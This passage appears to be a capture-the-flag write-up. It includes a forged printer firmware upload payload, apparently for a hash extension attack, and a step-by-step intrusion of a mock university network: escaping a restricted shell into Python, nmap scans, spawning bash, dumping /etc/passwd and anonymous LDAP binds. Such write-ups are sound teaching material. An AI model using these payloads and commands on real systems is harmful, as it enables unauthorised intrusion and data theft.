    {"firmware":"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","signature":"3a598fe4f3c06149e8bef83fbcdc8dff75aca081d9199f5879348e6cd5eb915a","secret_length":16,"algorithm":"SHA256"}

After uploading the JSON data, I can visit zysygy.log to see:

    Documents queued for printing
    =============================
    
    Biggering.pdf
    Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
    LowEarthOrbitFreqUsage.txt
    Best Winter Songs Ever List.doc
    Win People and Influence Friends.pdf
    Q4 Game Floor Earnings.xlsx
    Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
    Troll_Pay_Chart.xlsx
Which means the answer is Troll_Pay_Chart.xlsx

Relevance This challenge is relevant in two ways: the first is that hash extension attacks have been used in real world applications, although these don't seem too common. The second relevant part is that printers can allow attackers access into a network, have been the target of attacks, and are often overlooked when it comes to keeping software up to date.

Objective 8: Kerberoasting on an Open Fire

I found this by far the hardest challenge this year, spending almost three full days just on this, and wouldn't have made it without the help of John_r2 and elakamarcus. Thank you both so much for your help!

The objective is to "obtain the secret sleigh research document from a host on the Elf University domain". To begin with, we can register on the ElfU Portal.

Note on the email used to register Apparently it needs to be a "real domain", but does not seem to need to be a real email. I tried using a Canary Token email, which did not work, so I guess there must be some sort of domain whitelisting going on.

After registering, we're given access to credentials which we can use to ssh into a portal that will show us our grades, and apparently nothing else.

the ssh intro screen
The shell presented when you ssh into grades.elfu.org (above)
supposed grades
        Oh dear, it looks like there's been an administrative error with my grades!

Getting a shell on grades.elfu.org

Figuring out what to do from here was my first challenge.

My initial attempts were unfruitful.

I scanned for any other open ports sudo nmap -sVU grades.elfu.org, but that didn't find anything of note, so I checked the register site and found an interesting comment <!--Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021, v0calprezents, Hexatonics, and reindeers4fears. Wow, good times!-->. That might be useful later.

Shell injection didn't seem to work (entering anything that began with "e" just logged me out, and anything else was just ignored

Interestingly, pressing Ctrl-z caused the message "You may only type exit to leave the exam", so the program must've been handling interrupts, but is it handling all of them? It seemed to be, but it wasn't handling end of file (Ctrl-D), which dropped me into a distinctive Python shell:

Traceback (most recent call last):
File "/opt/grading_system", line 41, in 
    main()
File "/opt/grading_system", line 26, in main
    a = input(": ").lower().strip()
EOFError

Recon

A Python shell gives me basically free reign over the machine; I started by importing subprocess so that I can run any Unix command I want, and then moved to checking if nmap was installed since that'll tell me what other hosts are in the network that might be interesting.


>>> subprocess.run('nmap', capture_output=True)
CompletedProcess(args='nmap', returncode=255, stdout=b"Nmap 7.80 ( https://nmap.org )\nUsage: nmap [Scan Type(s)] [Options] {target specification}\nTARGET SPECIFICATION:\n  Can pass hostnames...

nmap is installed! That makes life easier. I can use ifconfig to see what subnet to scan (cleaning up the last output for readability):


>>> subprocess.run('ifconfig', capture_output=True)
CompletedProcess(args='ifconfig', returncode=0, stdout=b'eth0: flags=4163  mtu 1500\n        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255\n        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)\n        RX packets 47052044  bytes 3641070495 (3.6 GB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 51565974  bytes 5762966012 (5.7 GB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 1500071  bytes 120326857 (120.3 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1500071  bytes 120326857 (120.3 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\n', stderr=b'')
>>> subprocess.run(['nmap', '-PE', '-sn', '172.17.0.0/24'], capture_output=True)
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-30 05:49 UTC
Nmap scan report for 172.17.0.1
Host is up (0.00097s latency).
Nmap scan report for grades.elfu.local (172.17.0.2)
Host is up (0.00081s latency).
Nmap scan report for 172.17.0.3
Host is up (0.00047s latency).
Nmap scan report for 172.17.0.4
Host is up (0.00032s latency).
Nmap scan report for 172.17.0.5
Host is up (0.00023s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.82 seconds

Warning:  You are not root -- using TCP pingscan rather than ICMP
>>> subprocess.run(['nmap', '-sV', '172.17.0.1-5'], capture_output=True)
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-30 05:54 UTC
Nmap scan report for 172.17.0.1
Host is up (0.00035s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for grades.elfu.local (172.17.0.2)
Host is up (0.00038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.17.0.3
Host is up (0.00042s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Nmap scan report for 172.17.0.4
Host is up (0.00026s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Nmap scan report for 172.17.0.5
Host is up (0.00026s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE      VERSION
42/tcp   open  nameserver?
53/tcp   open  domain       (generic dns response: NOTIMP)
88/tcp   open  kerberos-sec Heimdal Kerberos (server time: 2021-12-30 05:51:54Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: ELFU)
389/tcp  open  ldap         (Anonymous bind OK)
445/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: ELFU)
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap     (Anonymous bind OK)
1024/tcp open  msrpc        Microsoft Windows RPC
3268/tcp open  ldap         (Anonymous bind OK)
3269/tcp open  ssl/ldap     (Anonymous bind OK)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/30%Time=61CD48FF%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,2B,"\\0\\)\\0\\x06\\x81\\x80\\0\\x01\\0\\0\\0\\0\\0\\x01\\x07version
SF:\\x04bind\\0\\0\\x10\\0\\x03\\0\\0\\)\\x02\\0\\0\\0\\0\\0\\0\\0")%r(DNSStatusRequestTCP,
SF:E,"\\0\\x0c\\0\\0\\x90\\x04\\0\\0\\0\\0\\0\\0\\0\\0");
Service Info: Host: SHARE30; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 14.61 seconds

As you can see above, the host is listening on IP 172.17.0.2 with a netmask 255.255.0.0, so it makes sense to scan 172.17.0.0/24. Nmap found 172.17.0.1, 172.17.0.2, 172.17.0.3, 172.17.0.4 and 172.17.0.5, so I ran a TCP scan to discover which services they had running.

At this point, I got fed up with trying to read everything in subprocess, so I spawned a new shell using import pty;pty.spawn("/bin/bash")

The amount going on here felt pretty overwhelming, so I just dumped stuff somewhat at random in the hope it might eventually be useful. None of it particularly was, so feel free to skip this bit, although it did let me correct the errors in my grades. Here's
/etc/passwd
        root:x:0:0:root:/root:/bin/bash
        daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
        bin:x:2:2:bin:/bin:/usr/sbin/nologin
        sys:x:3:3:sys:/dev:/usr/sbin/nologin
        sync:x:4:65534:sync:/bin:/bin/sync
        games:x:5:60:games:/usr/games:/usr/sbin/nologin
        man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
        lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
        mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
        news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
        uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
        proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
        www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
        backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
        list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
        irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
        gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
        nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
        _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
        systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
        systemd-network:x:102:104:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
        systemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
        messagebus:x:104:106::/nonexistent:/usr/sbin/nologin
        sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
        yxjpnjkzii:x:1000:1000::/home/yxjpnjkzii:/bin/bash
        qcrimzlsnu:x:1001:1001::/home/qcrimzlsnu:/bin/bash
        gqognrrjri:x:1002:1002::/home/gqognrrjri:/opt/grading_system
        gheuggozuu:x:1003:1003::/home/gheuggozuu:/opt/grading_system
        dsqzwuexzb:x:1004:1004::/home/dsqzwuexzb:/bin/bash
        rflkkildwi:x:1005:1005::/home/rflkkildwi:/bin/bash
        nvbltrzizx:x:1006:1006::/home/nvbltrzizx:/opt/grading_system
        qzqxqlqbxa:x:1007:1007::/home/qzqxqlqbxa:/opt/grading_system
        pxcxxicodh:x:1008:1008::/home/pxcxxicodh:/opt/grading_system
        xvjxawxtce:x:1009:1009::/home/xvjxawxtce:/bin/bash
        psmifmgudo:x:1010:1010::/home/psmifmgudo:/bin/bash
        bngiyfhmzs:x:1011:1011::/home/bngiyfhmzs:/opt/grading_system
        tlcrdddprf:x:1012:1012::/home/tlcrdddprf:/bin/bash
        ckezrjqxua:x:1013:1013::/home/ckezrjqxua:/opt/grading_system
        cadoclsztx:x:1014:1014::/home/cadoclsztx:/opt/grading_system
        dwsqppodce:x:1015:1015::/home/dwsqppodce:/opt/grading_system
        ntmzoitzsy:x:1016:1016::/home/ntmzoitzsy:/opt/grading_system
        vawbodlypr:x:1017:1017::/home/vawbodlypr:/opt/grading_system
        jylmhafhzc:x:1018:1018::/home/jylmhafhzc:/opt/grading_system
        vokguioyhg:x:1019:1019::/home/vokguioyhg:/bin/bash
        jrelqrltit:x:1020:1020::/home/jrelqrltit:/opt/grading_system
        jqrmefvsoo:x:1021:1021::/home/jqrmefvsoo:/opt/grading_system
        iqytuvjazj:x:1022:1022::/home/iqytuvjazj:/opt/grading_system
        vtprbgqurk:x:1023:1023::/home/vtprbgqurk:/bin/bash
        curbvknvsf:x:1024:1024::/home/curbvknvsf:/opt/grading_system
        gzldmywtqp:x:1025:1025::/home/gzldmywtqp:/opt/grading_system
        zsfhffdmdg:x:1026:1026::/home/zsfhffdmdg:/opt/grading_system
        jnjebpgcdp:x:1027:1027::/home/jnjebpgcdp:/opt/grading_system
        bgcrcglzcx:x:1028:1028::/home/bgcrcglzcx:/opt/grading_system
        myafgxotah:x:1029:1029::/home/myafgxotah:/opt/grading_system
        sicsciofge:x:1030:1030::/home/sicsciofge:/opt/grading_system
        fbsjgeyymg:x:1031:1031::/home/fbsjgeyymg:/opt/grading_system
        rhkwapqkvy:x:1032:1032::/home/rhkwapqkvy:/opt/grading_system
        pgsskmkkhb:x:1033:1033::/home/pgsskmkkhb:/bin/bash
        drkxpeefnz:x:1034:1034::/home/drkxpeefnz:/bin/bash
        wwdjcvtakz:x:1035:1035::/home/wwdjcvtakz:/opt/grading_system
        agmzrsrszq:x:1036:1036::/home/agmzrsrszq:/opt/grading_system
        zhbqapbuql:x:1037:1037::/home/zhbqapbuql:/opt/grading_system
        juinvmiyvi:x:1038:1038::/home/juinvmiyvi:/bin/bash
        gfqphuqbgi:x:1039:1039::/home/gfqphuqbgi:/bin/bash
        lyrycoitvj:x:1040:1040::/home/lyrycoitvj:/opt/grading_system
        ibtsycjdtz:x:1041:1041::/home/ibtsycjdtz:/bin/bash
        quyvsksmtf:x:1042:1042::/home/quyvsksmtf:/opt/grading_system
        ftdefieavg:x:1043:1043::/home/ftdefieavg:/opt/grading_system
        mmwamkowph:x:1044:1044::/home/mmwamkowph:/opt/grading_system
        wvqkwapitx:x:1045:1045::/home/wvqkwapitx:/opt/grading_system
        kdhwidjrnf:x:1046:1046::/home/kdhwidjrnf:/bin/bash
        hlwkoobqjl:x:1047:1047::/home/hlwkoobqjl:/opt/grading_system
        oxudyxavlg:x:1048:1048::/home/oxudyxavlg:/opt/grading_system
        vtdyjmcexj:x:1049:1049::/home/vtdyjmcexj:/opt/grading_system
        xrijfictlx:x:1050:1050::/home/xrijfictlx:/opt/grading_system
        okaizwuncm:x:1051:1051::/home/okaizwuncm:/opt/grading_system
        tfoezhsibn:x:1052:1052::/home/tfoezhsibn:/opt/grading_system
        iuwuvckfvi:x:1053:1053::/home/iuwuvckfvi:/opt/grading_system
        detnfajrkq:x:1054:1054::/home/detnfajrkq:/opt/grading_system
        vvdafpikok:x:1055:1055::/home/vvdafpikok:/opt/grading_system
        yjapzwoqqb:x:1056:1056::/home/yjapzwoqqb:/opt/grading_system
        muxmiimshw:x:1057:1057::/home/muxmiimshw:/bin/bash
        cznwgmgfbw:x:1058:1058::/home/cznwgmgfbw:/opt/grading_system
        qlpfensbou:x:1059:1059::/home/qlpfensbou:/opt/grading_system
        gxpckgrpwa:x:1060:1060::/home/gxpckgrpwa:/opt/grading_system
        uvpynpfdne:x:1061:1061::/home/uvpynpfdne:/opt/grading_system
        qabaypaoes:x:1062:1062::/home/qabaypaoes:/opt/grading_system
        sapdfhwxbr:x:1063:1063::/home/sapdfhwxbr:/opt/grading_system
        ftcngoczhx:x:1064:1064::/home/ftcngoczhx:/opt/grading_system
        cvlerxwoso:x:1065:1065::/home/cvlerxwoso:/bin/bash
        sinikbbvuf:x:1066:1066::/home/sinikbbvuf:/opt/grading_system
        fnuimrmlhx:x:1067:1067::/home/fnuimrmlhx:/opt/grading_system
        szreapaybk:x:1068:1068::/home/szreapaybk:/opt/grading_system
        kvaqdwnawi:x:1069:1069::/home/kvaqdwnawi:/opt/grading_system
        isoshsbork:x:1070:1070::/home/isoshsbork:/opt/grading_system
        ucxzgxwlqh:x:1071:1071::/home/ucxzgxwlqh:/opt/grading_system
        ftbbjampsi:x:1072:1072::/home/ftbbjampsi:/opt/grading_system
        twemnvixoz:x:1073:1073::/home/twemnvixoz:/opt/grading_system
        fzpabmhyry:x:1074:1074::/home/fzpabmhyry:/opt/grading_system
, since everyone dumps that.
Details from connecting to 172.17.0.5's LDAP server
>>> import ldap3
>>> server = ldap3.Server('172.17.0.5', get_info = ldap3.ALL, port=636, use_ssl=True)
>>> connect = ldap3.Connection(server)
>>> connection.bind()
Traceback (most recent call last):
    File "", line 1, in 
NameError: name 'connection' is not defined
>>> connect.bind()
True
>>> server.info
DSA info (from DSE):
    Supported LDAP versions: 2, 3
    Naming contexts: 
    CN=Schema,CN=Configuration,DC=elfu,DC=local
    CN=Configuration,DC=elfu,DC=local
    DC=elfu,DC=local
    DC=DomainDnsZones,DC=elfu,DC=local
    DC=ForestDnsZones,DC=elfu,DC=local
    Supported controls: 
